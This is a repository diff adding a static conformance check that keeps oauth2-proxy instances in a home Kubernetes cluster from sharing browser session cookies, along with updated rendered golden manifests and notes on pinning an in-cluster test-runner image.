+    conformance.home.k3s/R-IDP-06: "true"
+  annotations:
+    conformance.home.k3s/requirements: "R-IDP-02, R-IDP-06"
+    conformance.home.k3s/layer: "L0"
+    # WHOLE-REPO SCOPE — the instances span apps/wave-0, apps/wave-1, platform/crafty and
+    # platform/oauth2-proxy, and the generator that emits five of them is catalog/render.py.
+    # No single requirement path-maps to that set, and the renderer maps to no identity
+    # requirement at all, so a requirement-scoped selection would skip this check on precisely
+    # the change that can reintroduce the defect fleet-wide in one edit.
+    conformance.home.k3s/scope: "whole-repo"
+    conformance.home.k3s/safety-critical: "false"
+    conformance.home.k3s/executable: "true"
+    conformance.home.k3s/intent: >-
+      No two oauth2-proxy instances can share a browser cookie: every instance's effective
+      cookie name is unique, the built-in default belongs to exactly one registered owner (the
+      shared forward-auth proxy, which cannot be renamed without signing every gated app out),
+      every other instance is host-scoped, and catalog/render.py derives both flags from the
+      ServiceDefinition rather than from a per-service list — proven end-to-end on synthetic
+      fixtures so the guard stays falsifiable once the tree is clean.
+spec:
+  steps:
+    - name: assert-no-two-oauth2-proxy-instances-share-a-cookie
+      description: >-
+        Inventory every oauth2-proxy container and HelmRelease in the tree, resolve each one's
+        effective cookie name (declared, or oauth2-proxy's default when omitted), assert
+        pairwise distinctness including the session/CSRF derivation, ratchet the single
+        registered owner of the default name, assert host-scoped cookie-domain on every other
+        instance, assert catalog/render.py derives rather than lists, and prove the shipped
+        renderer on two synthetic forward-auth ServiceDefinitions.
+      try:
+        - script:
+            content: bash ./check.sh

conformance/tests/l0-static/oauth2-proxy-cookie-names-distinct/check.sh

@@ -0,0 +1,498 @@
+#!/usr/bin/env bash
+# =============================================================================
+# L0 STATIC CHECK — no two oauth2-proxy instances can share a browser cookie.
+# See chainsaw-test.yaml's header for WHY this exists, what it measured, and the argument
+# for assertion (4). In one paragraph:
+#
+# Every oauth2-proxy here holds its OWN cookie-secret (seven distinct values on prod,
+# 2026-09-30), so two instances sharing a cookie NAME on a shared DOMAIN cannot read each
+# other's session — they OVERWRITE it. The loser bounces to Keycloak, is redirected straight
+# back by the live SSO session, and overwrites the winner in turn. The symptom is "I signed
+# into Keycloak but I'm still not signed in", it only shows up after a second gated app is
+# visited, and nothing in the cluster reports an error. A missing --cookie-name IS the bug,
+# so the next forward-auth app inherits it by doing nothing.
+#
+# Exit 0 = all assertions pass. Exit 1 = a failure. Exit 3 (honest SKIP, which the runner
+# turns into rc 3 = UNWIRED, never green, because this test declares the whole-repo scope)
+# only if the tree contains no oauth2-proxy instance at all — genuinely nothing to audit.
+# =============================================================================
+set -euo pipefail
+DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
+ROOT="$(cd "${DIR}/../../../.." && pwd)"        # repo root
+PYTHON="${PYTHON:-python3}"
+
+# Honest SKIP (never green for a scope-declaring test) if there is nothing to audit at all.
+# Matches the IMAGE every instance runs and the CHART the shared one installs; if NEITHER
+# appears anywhere, the forward-auth pattern has left this repo and the check has no subject.
+#
+# ANCHORED ON `image:` DELIBERATELY. A bare `oauth2-proxy/oauth2-proxy:` also matches
+# platform/oauth2-proxy/forward-auth-cec.yaml's Envoy cluster reference
+# (`serviceName: oauth2-proxy/oauth2-proxy:80` — namespace/service:port, not a registry path).
+# That file configures the ext_authz listener that CALLS the proxy; it runs no proxy and holds
+# no cookie flags, so counting it made the grep/parse cross-check below report a phantom
+# unaudited instance.
+if ! grep -rlE 'image:[[:space:]]*[^[:space:]]*oauth2-proxy|chart:[[:space:]]*oauth2-proxy' \
+       "${ROOT}/apps" "${ROOT}/platform" "${ROOT}/catalog" >/dev/null 2>&1; then
+  echo "check SKIPPED: no oauth2-proxy image or chart found under apps/, platform/ or catalog/ — nothing to audit" >&2
+  exit 3
+fi
+
+cd "${ROOT}"
+"${PYTHON}" - "${ROOT}" <<'PY'
+"""Static audit: no two oauth2-proxy instances can share a browser cookie.
+
+PyYAML (the same dependency as catalog/render.py and the sibling l0-static checks) rather
+than line-based parsing: a container's args live in a nested structure and a HelmRelease's
+flags live in a values map, and a line-based reader of either is precisely the approximate
+parser that silently stops matching — the failure class this check exists to prevent.
+"""
+from __future__ import annotations
+
+import re
+import subprocess
+import sys
+import tempfile
+from pathlib import Path
+
+try:
+    import yaml
+except ImportError:                                  # pragma: no cover
+    print("check FAIL: PyYAML is required (same dependency as catalog/render.py)",
+          file=sys.stderr)
+    raise SystemExit(1)
+
+ROOT = Path(sys.argv[1])
+sys.dont_write_bytecode = True          # keep __pycache__ out of the tracked tree
+
+FAILURES: list[str] = []
+CHECKS = 0
+
+
+def check(cond, msg):
+    global CHECKS
+    CHECKS += 1
+    if not cond:
+        FAILURES.append(msg)
+
+
+def read(p: Path) -> str:
+    try:
+        return p.read_text()
+    except (OSError, UnicodeDecodeError):
+        return ""
+
+
+# oauth2-proxy's OWN built-in defaults (pkg/apis/options/cookie.go): the session cookie is
+# `_oauth2_proxy` and the CSRF cookie is that name with `_csrf` appended. An instance that
+# declares nothing is NOT unconfigured — it has claimed this exact name, which is why the
+# inventory below treats the default as a name like any other rather than as an absence.
+DEFAULT_COOKIE_NAME = "_oauth2_proxy"
+CSRF_SUFFIX = "_csrf"
+
+# =============================================================================================
+# REGISTER — SHARED_DEFAULT_COOKIE_OWNER. Exactly one entry, and it must match a real instance.
+#
+# The one instance permitted to hold DEFAULT_COOKIE_NAME, and the one permitted a zone-wide
+# cookie-domain. Both exemptions belong to the SAME object for the SAME reason, so they are one
+# register rather than two: the shared forward-auth proxy is not a per-app sidecar, it is the
+# single session that every forward-auth-gated surface on the platform rides on. Renaming its
+# cookie signs all of them out simultaneously, and host-scoping it would break the cross-host
+# forward-auth that is its entire job.
+#
+# Shrink-only, and exact in BOTH directions: an entry that matches no instance FAILS as stale
+# (the proxy was renamed or removed and the exemption is now a hole), and an instance holding
+# the default WITHOUT an entry FAILS as an unregistered heir. Adding an entry is a review event
+# on a sensitive path.
+#
+# Keyed by "<relpath>:<instance id>".
+# =============================================================================================
+SHARED_DEFAULT_COOKIE_OWNER: dict[str, str] = {
+    "platform/oauth2-proxy/helmrelease.yaml:oauth2-proxy":
+        "The SHARED forward-auth proxy (ADR-0014, platform/oauth2-proxy/README.md). It is the "
+        "single authenticator behind every forward-auth-gated surface that is NOT fronted by "
+        "its own sidecar, so its cookie is the platform session: renaming it signs every one "
+        "of them out at once, and that is why the 2026-09-29 crafty fix changed only the "
+        "sidecar side. Its cookie-domain is zone-wide for the same structural reason — "
+        "cross-host forward-auth is what it is for.",
+}
+
+
+def is_test_fixture(p: Path) -> bool:
+    """conformance/tests/**/{golden,fixtures}/** is assertion DATA, not deployed manifests.
+
+    Auditing a golden would be auditing a copy of something already audited through apps/.
+    Same exclusion the sibling l0-static checks make, and the same "reference, not
+    declaration" distinction ci/touched-requirements.sh draws for fixture paths.
+    """
+    parts = p.parts
+    return "conformance" in parts and ("golden" in parts or "fixtures" in parts)
+
+
+def iter_containers(node):
+    """Yield every container mapping under any `containers`/`initContainers` list, at any depth.
+
+    Depth-agnostic on purpose: a sidecar sits under spec.template.spec.containers in a
+    Deployment, but the same container shape appears under a CronJob's jobTemplate, a
+    DaemonSet, or a Pod, and a reader that hardcoded one path would silently stop seeing an
+    instance the day one moved.
+    """
+    if isinstance(node, dict):
+        for key, val in node.items():
+            if key in ("containers", "initContainers") and isinstance(val, list):
+                for c in val:
+                    if isinstance(c, dict):
+                        yield c
+            else:
+                yield from iter_containers(val)
+    elif isinstance(node, list):
+        for item in node:
+            yield from iter_containers(item)
+
+
+def flag_from_args(args: list, flag: str):
+    """Value of `--flag=value` or `--flag value` in an argv list, else None."""
+    pref = "--" + flag
+    for i, a in enumerate(args):
+        if not isinstance(a, str):
+            continue
+        if a.startswith(pref + "="):
+            return a.split("=", 1)[1]
+        if a == pref and i + 1 < len(args) and isinstance(args[i + 1], str):
+            return args[i + 1]
+    return None
+
+
+def host_of(url):
+    """Host part of an https://host/path URL, else None."""
+    if not isinstance(url, str):
+        return None
+    m = re.match(r"^https?://([^/]+)", url)
+    return m.group(1) if m else None
+
+
+# ============================================================ (0) INVENTORY
+# instances: list of dicts {rel, ident, kind, declared_name, cookie_domain, redirect_host}
+instances: list[dict] = []
+unparseable: list[str] = []
+# Files the grep gate says contain an instance, so the parse can be cross-checked against it.
+grep_files: set[str] = set()
+
+for p in sorted(ROOT.rglob("*.yaml")):
+    relparts = p.relative_to(ROOT).parent.parts
+    # NESTED WORKTREES: skip dot-DIRECTORIES (.git, .claude) while still matching dot-FILES
+    # such as .sops.yaml. .claude/worktrees/agent-*/ holds full repo copies for isolated agent
+    # runs, so a bare rglob audited up to 18 duplicates of every file — which both invents
+    # FAILs and, worse, can satisfy a "something declares X" check from a copy rather than from
+    # real source. Same fix as egress-paths-selected-by-rules. .claude/ is gitignored.
+    if any(part.startswith(".") for part in relparts) or is_test_fixture(p) or ".sops." in p.name:
+        continue
+    txt = read(p)
+    if not txt:
+        continue
+    rel = str(p.relative_to(ROOT))
+    # Same anchoring as check.sh's skip gate: `image:` (or a chart name), never a bare path —
+    # see the comment there for the Envoy `serviceName: oauth2-proxy/oauth2-proxy:80` near-miss.
+    if re.search(r"image:\s*\S*oauth2-proxy|chart:\s*oauth2-proxy", txt):
+        grep_files.add(rel)
+    elif "oauth2-proxy" not in txt:
+        continue
+    try:
+        docs = [d for d in yaml.safe_load_all(txt) if isinstance(d, dict)]
+    except yaml.YAMLError as exc:
+        unparseable.append(f"{rel} ({exc})")
+        continue
+    for d in docs:
+        # --- shape 1: a container running the oauth2-proxy image -------------------------
+        for c in iter_containers(d):
+            image = str(c.get("image") or "")
+            name = str(c.get("name") or "")
+            if "oauth2-proxy" not in image and name != "oauth2-proxy":
+                continue
+            args = [a for a in (list(c.get("args") or []) + list(c.get("command") or []))]
+            env = {e.get("name"): e.get("value")
+                   for e in (c.get("env") or []) if isinstance(e, dict) and "value" in e}
+            owner = (d.get("metadata") or {}).get("name") or "?"
+            instances.append({
+                "rel": rel,
+                "ident": f"{owner}/{name or 'oauth2-proxy'}",
+                "kind": "container",
+                "declared_name": flag_from_args(args, "cookie-name")
+                                 or env.get("OAUTH2_PROXY_COOKIE_NAME"),
+                "cookie_domain": flag_from_args(args, "cookie-domain")
+                                 or env.get("OAUTH2_PROXY_COOKIE_DOMAIN"),
+                "redirect_host": host_of(flag_from_args(args, "redirect-url")
+                                         or env.get("OAUTH2_PROXY_REDIRECT_URL")),
+            })
+        # --- shape 2: the shared proxy's HelmRelease values ------------------------------
+        if d.get("kind") != "HelmRelease":
+            continue
+        spec = d.get("spec") or {}
+        chart = (((spec.get("chart") or {}).get("spec") or {}).get("chart") or "")
+        if "oauth2-proxy" not in str(chart):
+            continue
+        values = spec.get("values") or {}
+        extra = values.get("extraArgs") or {}
+        if isinstance(extra, list):          # the chart also accepts a bare argv list
+            extra = {a.lstrip("-").split("=", 1)[0]: a.split("=", 1)[1]
+                     for a in extra if isinstance(a, str) and "=" in a}
+        cfg = values.get("config") or {}
+        get = lambda k: extra.get(k, cfg.get(k))     # noqa: E731 - two-source lookup, used 3x
+        instances.append({
+            "rel": rel,
+            "ident": str((d.get("metadata") or {}).get("name") or "oauth2-proxy"),
+            "kind": "helmrelease",
+            "declared_name": get("cookie-name"),
+            "cookie_domain": get("cookie-domain"),
+            "redirect_host": host_of(get("redirect-url")),
+        })
+
+for u in unparseable:
+    check(False, f"{u} is not parseable YAML — every oauth2-proxy instance in it went unaudited")
+
+for ins in instances:
+    ins["key"] = f"{ins['rel']}:{ins['ident']}"
+    # THE CORE MODELLING DECISION: an omitted --cookie-name is not "unset", it is a CLAIM on
+    # oauth2-proxy's built-in default. Resolving it here is what lets assertion (1) below be a
+    # plain distinctness test with no special case, and it is exactly the step whose absence
+    # made the defect invisible to every reviewer who read these manifests.
+    ins["effective_name"] = ins["declared_name"] or DEFAULT_COOKIE_NAME
+
+# Anti-vacuous. The floor is deliberately low (a real removal should not turn this check red),
+# so the load-bearing guard is the grep/parse CROSS-CHECK beneath it: every file the cheap
+# text scan says holds an instance must yield at least one PARSED instance. A parser that
+# quietly stopped matching would keep the floor and fail this.
+check(len(instances) >= 5,
+      f"only {len(instances)} oauth2-proxy instance(s) parsed out of the tree. This repo "
+      f"authors more than that (five rendered sidecars, crafty's, and the shared proxy), so "
+      f"the inventory has stopped seeing instances and every assertion below would pass "
+      f"vacuously while a collision went unaudited")
+
+parsed_files = {ins["rel"] for ins in instances}
+for rel in sorted(grep_files - parsed_files):
+    check(False,
+          f"{rel} contains an oauth2-proxy image or chart reference but NO instance was parsed "
+          f"out of it. Either it uses a shape iter_containers()/the HelmRelease reader does not "
+          f"recognise, or the file stopped parsing. Its cookie configuration is UNAUDITED, which "
+          f"is the same state the whole fleet was in before this check existed")
+
+# ============================================================ (1) DISTINCT EFFECTIVE NAMES
+by_name: dict[str, list[dict]] = {}
+for ins in instances:
+    by_name.setdefault(ins["effective_name"], []).append(ins)
+
+for nm, group in sorted(by_name.items()):
+    if len(group) < 2:
+        continue
+    who = ", ".join(sorted(g["key"] for g in group))
+    default_note = (
+        " Every one of them OMITS --cookie-name, so they are all claiming oauth2-proxy's "
+        "built-in default. Omitting the flag is not neutral: it IS this collision."
+        if nm == DEFAULT_COOKIE_NAME else "")
+    check(False,
+          f"{len(group)} oauth2-proxy instances share the cookie name '{nm}': {who}.{default_note}\n"
+          f"       WHY THIS IS A BUG AND NOT A STYLE RULE: these are INDEPENDENT instances with "
+          f"DIFFERENT cookie-secrets (measured on prod 2026-09-30: seven distinct values), so "
+          f"neither can DECRYPT the other's cookie — it can only OVERWRITE it. A browser keys a "
+          f"cookie by (name, domain, path), so signing into one app destroys the session of every "
+          f"other app sharing that key. The loser logs 'No valid authentication in request', "
+          f"bounces to Keycloak, is redirected straight back because the SSO session is still "
+          f"live, and overwrites the winner in turn. The user sees 'I signed into Keycloak but "
+          f"I'm still not signed in' and goes looking in Keycloak, where nothing is wrong.\n"
+          f"       FIX: give each per-app instance its own --cookie-name. For a service rendered "
+          f"from catalog/, do NOT hand-edit the golden — catalog/render.py derives the flag from "
+          f"the service name; re-render instead (ci/render-golden.sh's header has the canonical "
+          f"command). Exactly one instance may hold '{DEFAULT_COOKIE_NAME}', and it must be the "
+          f"one registered in SHARED_DEFAULT_COOKIE_OWNER.")
+
+# ============================================================ (2) SESSION vs CSRF DERIVATION
+# oauth2-proxy names the CSRF cookie <cookie-name>_csrf. So a SESSION name that happens to equal
+# another instance's name + "_csrf" collides on the CSRF cookie while assertion (1) sees two
+# perfectly distinct strings. This is the near-miss the obvious fix invites: naming the shared
+# proxy's neighbour `_oauth2_proxy_csrf` reads as "clearly different" and is not.
+effective = {ins["effective_name"] for ins in instances}
+for ins in sorted(instances, key=lambda i: i["key"]):
+    base = ins["effective_name"]
+    if not base.endswith(CSRF_SUFFIX):
+        continue
+    victim = base[: -len(CSRF_SUFFIX)]
+    check(victim not in effective,
+          f"{ins['key']} uses the SESSION cookie name '{base}', which is exactly the CSRF cookie "
+          f"oauth2-proxy derives for the instance named '{victim}' (it appends '{CSRF_SUFFIX}'). "
+          f"The two session names look distinct and the CSRF cookies collide, so sign-in breaks "
+          f"with a state-mismatch instead of a session loss — the same bug wearing a different "
+          f"error message. Pick a name that is not another instance's name + '{CSRF_SUFFIX}'")
+
+# ============================================================ (3) THE DEFAULT HAS ONE OWNER
+default_holders = sorted(ins["key"] for ins in instances
+                         if ins["effective_name"] == DEFAULT_COOKIE_NAME)
+registered = set(SHARED_DEFAULT_COOKIE_OWNER)
+
+for key in sorted(registered - set(ins["key"] for ins in instances)):
+    check(False,
+          f"SHARED_DEFAULT_COOKIE_OWNER registers '{key}', but no such oauth2-proxy instance "
+          f"exists in the tree. The register is SHRINK-ONLY and exact: a stale entry is a "
+          f"standing exemption for an object that is gone, so the next instance to inherit the "
+          f"default name would be silently excused. Remove the entry, or restore the instance")
+
+for key in default_holders:
+    check(key in registered,
+          f"{key} holds oauth2-proxy's DEFAULT cookie name '{DEFAULT_COOKIE_NAME}' but is NOT "
+          f"registered in SHARED_DEFAULT_COOKIE_OWNER. Exactly ONE instance may hold the default, "
+          f"and it is the SHARED forward-auth proxy — whose cookie is the platform-wide session "
+          f"every forward-auth-gated surface rides on, so renaming IT signs them all out at once. "
+          f"Every other instance must declare its own --cookie-name. If this instance really is "
+          f"the new shared proxy, register it here with the reason; if it is a per-app sidecar, "
+          f"give it a unique name")
+
+check(len(default_holders) <= 1,
+      f"{len(default_holders)} instances hold the default cookie name: {', '.join(default_holders)}. "
+      f"The default is a NAME, not an absence — it can have exactly one owner")
+
+# ============================================================ (4) HOST-SCOPED COOKIE DOMAIN
+# See the chainsaw-test header for the argument (distinct names alone already fix the eviction;
+# host-scoping is asserted anyway because a zone-wide cookie is TRANSMITTED to every host in the
+# zone, and because it makes a future name collision contained instead of platform-wide).
+for ins in sorted(instances, key=lambda i: i["key"]):
+    if ins["key"] in registered:
+        continue                          # the shared proxy: zone-wide by design, registered
+    dom, rhost = ins["cookie_domain"], ins["redirect_host"]
+    check(dom is not None,
+          f"{ins['key']} declares no --cookie-domain. oauth2-proxy then scopes the cookie to the "
+          f"request host, which happens to be correct — but it is correct BY ACCIDENT and says "
+          f"nothing to the next reader. Declare it explicitly as this app's own host")
+    if dom is None:
+        continue
+    check(not dom.startswith("."),
+          f"{ins['key']} sets --cookie-domain={dom}. A leading dot makes the cookie ZONE-WIDE: "
+          f"the browser sends this app's session token to every other host under that domain, "
+          f"including hosts behind no proxy at all, and it is what turns any future cookie-name "
+          f"collision into a platform-wide outage instead of a contained one. Scope it to this "
+          f"app's own host. Only the registered shared forward-auth proxy may be zone-wide, "
+          f"because cross-host forward-auth is its job")
+    if rhost:
+        check(dom == rhost,
+              f"{ins['key']} sets --cookie-domain={dom} but its --redirect-url host is {rhost}. "
+              f"The cookie is then set for a domain the sign-in flow never returns to (or for a "
+              f"wider one than this app owns), so the session either does not stick or leaks "
+              f"beyond the app. Both flags describe the SAME app: make them agree")
+
+# ============================================================ (5) THE RENDERER DERIVES
+# Five of these instances are GENERATED. Auditing only the goldens would let someone "fix" the
+# tree by hand and leave the generator emitting the defect for the next service onboarded — and
+# the next re-render would then silently revert the hand fix.
+render_py = ROOT / "catalog" / "render.py"
+check(render_py.is_file(),
+      "catalog/render.py is missing — the generator of five of these instances cannot be audited")
+if render_py.is_file():
+    src = read(render_py)
+    m = re.search(r"def _oauth2_sidecar_container\(.*?\n(?=\n*def |\n*# =)", src, re.S)
+    fn = m.group(0) if m else ""
+    check(bool(fn),
+          "could not locate _oauth2_sidecar_container() in catalog/render.py. It was renamed or "
+          "removed; assertions (5) below cannot run, and the generator is unaudited")
+    if fn:
+        cookie_name_lines = [ln for ln in fn.splitlines() if "--cookie-name" in ln]
+        check(bool(cookie_name_lines),
+              "catalog/render.py's _oauth2_sidecar_container() emits NO --cookie-name at all, so "
+              "every service it renders claims oauth2-proxy's default and collides with every "
+              "other. This is the defect itself, back in the one place that reintroduces it "
+              "fleet-wide in a single edit")
+        check(any("s['name']" in ln or 's["name"]' in ln for ln in cookie_name_lines),
+              "catalog/render.py emits --cookie-name without DERIVING it from the "
+              "ServiceDefinition's own name. A constant collides with every sibling by "
+              "construction; a per-service table leaves the NEXT app onboarded defaulting into "
+              "the collision, which is how twelve ServiceMonitors acquired one identical wrong "
+              "port name in a single edit. Derive it from s['name']")
+        cookie_dom_lines = [ln for ln in fn.splitlines() if "--cookie-domain" in ln]
+        check(any("{host}" in ln for ln in cookie_dom_lines),
+              "catalog/render.py's sidecar --cookie-domain is not derived from the route host. A "
+              "zone-wide literal (`.{ZONE}`) broadcasts every app's session cookie across the "
+              "whole zone — see assertion (4)")
+        check(not any(re.search(r"--cookie-name=_oauth2_proxy_[a-z0-9]", ln) for ln in cookie_name_lines),
+              "catalog/render.py hardcodes a literal service name into --cookie-name. Whatever "
+              "service that is, every OTHER service now renders the same constant and they all "
+              "collide. Derive the name instead")
+
+# ============================================================ (6) PROVE THE SHIPPED RENDERER
+# Once the tree is compliant, (1)-(4) have nothing left to catch and their passing is evidence
+# of nothing. This runs the SHIPPED renderer as a SUBPROCESS on two synthetic ServiceDefinitions
+# and asserts the property directly, so the guard stays falsifiable.
+def _sd(name: str, port: int) -> str:
+    return yaml.safe_dump({
+        "name": name,
+        "kind": "container",
+        "source": {"image": "example/app:1"},
+        "exposure": "internal",
+        "ingressRoutes": [{"host": f"{name}.home.keithjackson.dev", "port": port}],
+        "auth": {"mode": "forward-auth", "groups": ["platform-admins"]},
+    }, sort_keys=False)
+
+
+def _sidecar_args(rendered: str) -> list:
+    for doc in yaml.safe_load_all(rendered):
+        if not isinstance(doc, dict) or doc.get("kind") != "Deployment":
+            continue
+        for c in iter_containers(doc):
+            if c.get("name") == "oauth2-proxy":
+                return list(c.get("args") or [])
+    return []
+
+
+if render_py.is_file():
+    fixtures = {"cookiefixa": 8111, "cookiefixb": 8112}
+    rendered_args: dict[str, list] = {}
+    with tempfile.TemporaryDirectory() as td:
+        for svc, port in fixtures.items():
+            f = Path(td) / f"{svc}.yaml"
+            f.write_text(_sd(svc, port))
+            proc = subprocess.run([sys.executable, str(render_py), str(f)],
+                                  capture_output=True, text=True)
+            check(proc.returncode == 0,
+                  f"the shipped catalog/render.py failed on a synthetic forward-auth fixture "
+                  f"({svc}): rc={proc.returncode} {proc.stderr.strip()[:200]}")
+            if proc.returncode == 0:
+                rendered_args[svc] = _sidecar_args(proc.stdout)
+
+    names, domains = {}, {}
+    for svc, args in rendered_args.items():
+        names[svc] = flag_from_args(args, "cookie-name")
+        domains[svc] = flag_from_args(args, "cookie-domain")
+        check(bool(args),
+              f"the shipped renderer produced no oauth2-proxy sidecar for synthetic forward-auth "
+              f"fixture {svc} — the sidecar is how a forward-auth app is gated at all (R-IDP-02)")
+        check(names[svc] not in (None, DEFAULT_COOKIE_NAME),
+              f"the shipped renderer gave synthetic fixture {svc} the cookie name "
+              f"{names[svc]!r}. A newly-onboarded forward-auth app would therefore default "
+              f"straight into the fleet collision — which is exactly how five services acquired "
+              f"this defect without anyone making a decision")
+        check(domains[svc] == f"{svc}.home.keithjackson.dev",
+              f"the shipped renderer scoped synthetic fixture {svc}'s cookie to "
+              f"{domains[svc]!r} rather than to its own host — a newly-onboarded app would "
+              f"broadcast its session cookie across the whole zone")
+        check(any(isinstance(a, str) and a.startswith("--whitelist-domain=.") for a in args),
+              f"synthetic fixture {svc} lost its ZONE-WIDE --whitelist-domain. That flag governs "
+              f"permitted post-login REDIRECT targets, not cookie scope; narrowing it with the "
+              f"cookie domain breaks the sign-in bounce")
+
+    if len(rendered_args) == 2:
+        a, b = sorted(rendered_args)
+        check(names[a] != names[b],
+              f"the shipped renderer gave two DIFFERENT synthetic services the SAME cookie name "
+              f"({names[a]!r}). Whatever the committed goldens currently look like, the generator "
+              f"will collide every forward-auth app it renders from now on")
+        check(domains[a] != domains[b],
+              f"the shipped renderer gave two different synthetic services the same cookie domain "
+              f"({domains[a]!r}) — the cookies would share a scope even with distinct names")
+
+# ============================================================ VERDICT
+inv = " | ".join(f"{i['key']} -> {i['effective_name']} @ {i['cookie_domain'] or '<host>'}"
+                 for i in sorted(instances, key=lambda x: x["key"]))
+print(f"oauth2-proxy instances audited ({len(instances)}): {inv}")
+if FAILURES:
+    print(f"\nCHECK FAIL (oauth2-proxy-cookie-names-distinct): {len(FAILURES)} failed, "
+          f"{CHECKS - len(FAILURES)} passed", file=sys.stderr)
+    for f in FAILURES:
+        print(f"  FAIL {f}", file=sys.stderr)
+    raise SystemExit(1)
+print(f"check OK: oauth2-proxy-cookie-names-distinct — {CHECKS} assertions (R-IDP-02, R-IDP-06)")
+PY

conformance/tests/l1-rendering/container-workload-render/golden/expected.yaml

@@ -76,11 +76,14 @@ spec:
         - --allowed-group=platform-admins
         - --skip-provider-button=true
         - --redirect-url=https://paas-demo.home.keithjackson.dev/oauth2/callback
-        - --cookie-domain=.${BASE_DOMAIN}
+        - --cookie-name=_oauth2_proxy_paas-demo
+        - --cookie-domain=paas-demo.home.keithjackson.dev
         - --whitelist-domain=.${BASE_DOMAIN}
         - --cookie-secure=true
+        - --cookie-refresh=2m30s
         - --pass-access-token=true
         - --set-xauthrequest=true
+        - --metrics-address=0.0.0.0:44180
         env:
         - name: OAUTH2_PROXY_CLIENT_ID
           valueFrom:
@@ -101,6 +104,9 @@ spec:
         - name: http
           containerPort: 4180
           protocol: TCP
+        - name: metrics
+          containerPort: 44180
+          protocol: TCP
         resources:
           requests:
             cpu: 25m

conformance/tests/l1-rendering/egress-class-render/golden/egress-internet.expected.yaml

@@ -99,11 +99,14 @@ spec:
         - --allowed-group=media-admins
         - --skip-provider-button=true
         - --redirect-url=https://sonarr.home.keithjackson.dev/oauth2/callback
-        - --cookie-domain=.${BASE_DOMAIN}
+        - --cookie-name=_oauth2_proxy_sonarr
+        - --cookie-domain=sonarr.home.keithjackson.dev
         - --whitelist-domain=.${BASE_DOMAIN}
         - --cookie-secure=true
+        - --cookie-refresh=2m30s
         - --pass-access-token=true
         - --set-xauthrequest=true
+        - --metrics-address=0.0.0.0:44180
         env:
         - name: OAUTH2_PROXY_CLIENT_ID
           valueFrom:
@@ -124,6 +127,9 @@ spec:
         - name: http
           containerPort: 4180
           protocol: TCP
+        - name: metrics
+          containerPort: 44180
+          protocol: TCP
         resources:
           requests:
             cpu: 25m

conformance/tests/l1-rendering/egress-class-render/golden/egress-vpn.expected.yaml

@@ -99,11 +99,14 @@ spec:
         - --allowed-group=media-admins
         - --skip-provider-button=true
         - --redirect-url=https://sonarr.home.keithjackson.dev/oauth2/callback
-        - --cookie-domain=.${BASE_DOMAIN}
+        - --cookie-name=_oauth2_proxy_sonarr
+        - --cookie-domain=sonarr.home.keithjackson.dev
         - --whitelist-domain=.${BASE_DOMAIN}
         - --cookie-secure=true
+        - --cookie-refresh=2m30s
         - --pass-access-token=true
         - --set-xauthrequest=true
+        - --metrics-address=0.0.0.0:44180
         env:
         - name: OAUTH2_PROXY_CLIENT_ID
           valueFrom:
@@ -124,6 +127,9 @@ spec:
         - name: http
           containerPort: 4180
           protocol: TCP
+        - name: metrics
+          containerPort: 44180
+          protocol: TCP
         resources:
           requests:
             cpu: 25m

conformance/versions.env

@@ -6,6 +6,10 @@
 
 # Chainsaw — L1 rendering / L2 behavioral / L3 fault-injection runner (ADR-0011).
 CHAINSAW_VERSION="v0.2.12"
+# The UPSTREAM chainsaw image. It is NOT what the in-cluster Job runs — see
+# CONFORMANCE_RUNNER_IMAGE below. It carries the chainsaw binary and essentially nothing
+# else (no bash, no python3, no kubectl, no git), so `command: ["./run.sh"]` on this image
+# fails at exec. Kept only as the provenance of the chainsaw binary we rebuild from.
 CHAINSAW_IMAGE="ghcr.io/kyverno/chainsaw:v0.2.12"
 
 # kubectl — used by run.sh for cluster reachability preflight and by probe scripts.
@@ -18,3 +22,52 @@ KYVERNO_VERSION="v1.19.0"
 # Python 3 — coverage generator + JUnit emitter use stdlib only (no pip deps), so the
 # only constraint is a modern interpreter.
 PYTHON_MIN="3.9"
+
+# --- In-cluster conformance runner image -------------------------------------
+# Built from conformance/incluster/Containerfile by conformance/incluster/build-image.sh.
+# This — not CHAINSAW_IMAGE — is what the L2/L3 Job runs (bash + python3 + chainsaw +
+# kubectl + git). Closes docs/plans/l2-l3-conformance-ci-wiring.md §3 item 1.
+#
+# It ALSO carries /usr/local/bin/conformance-clone (0755 root:root, no argument surface) as the
+# init container's only entrypoint. That is a security fixture, not a convenience: the
+# admission policy never reads `initContainers`, so an init container with an inline shell
+# script is currently admitted with the privileged runner SA. The policy rule that makes the
+# fixed path REQUIRED is not in this branch — see conformance/incluster/README.md.
+#
+# THE REPOSITORY PATH IS NOT A PREFERENCE. platform/kyverno/admission/
+# conformance-trigger-job-shape.yaml is a fail-closed Enforce ClusterPolicy (R-SEC-02) that
+# ADMITS a conformance-trigger Job only when its image matches
+#   gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:*
+# Any other path, and any TAG reference, is DENIED at admission. Do not "tidy" these values.
+CONFORMANCE_RUNNER_IMAGE_REPO="gitea.home.keithjackson.dev/home-network/conformance-runner"
+# Build handle only. Admission never sees the tag; a Job must reference the digest.
+CONFORMANCE_RUNNER_IMAGE_TAG="chainsaw0.2.12-kubectl1.36.4-fc44"
+#
+# ############################################################################
+# # DIGEST DELIBERATELY EMPTY — THE IMAGE HAS NOT BEEN PUBLISHED YET.        #
+# ############################################################################
+# The image has been BUILT and its toolchain verified locally (non-root uid 65532,
+# read-only rootfs: bash 5.3.9, Python 3.14.7, git 2.55.0, kubectl v1.36.4, chainsaw 0.2.12,
+# and `./run.sh --layer l2 --no-cluster` completing with rc 0). It has NOT been pushed:
+# pushing needs a registry credential, and publishing the artifact a fail-closed security
+# boundary then trusts is an OPERATOR action, not an agent's.
+#
+# OPERATOR, to complete the pin:
+#   1. ./conformance/incluster/build-image.sh          # rebuild, verify, print the commands
+#   2. podman login gitea.home.keithjackson.dev
+#   3. podman push --digestfile /tmp/conformance-runner.digest \
+#        "${CONFORMANCE_RUNNER_IMAGE_REPO}:${CONFORMANCE_RUNNER_IMAGE_TAG}"
+#   4. Set CONFORMANCE_RUNNER_IMAGE_DIGEST below to `cat /tmp/conformance-runner.digest`
+#      — the digest the REGISTRY returned, not the local manifest digest the build printed.
+#   5. Land steps 4 in a PR (this file is GitOps input, not a live edit).
+#
+# UNTIL THEN: this is empty on purpose, NOT a placeholder to be guessed at. An empty value
+# makes any consumer that renders the Job fail visibly; a fake or stale digest would instead
+# produce an ImagePullBackOff that looks like a cluster fault. Do not invent one.
+CONFORMANCE_RUNNER_IMAGE_DIGEST=""
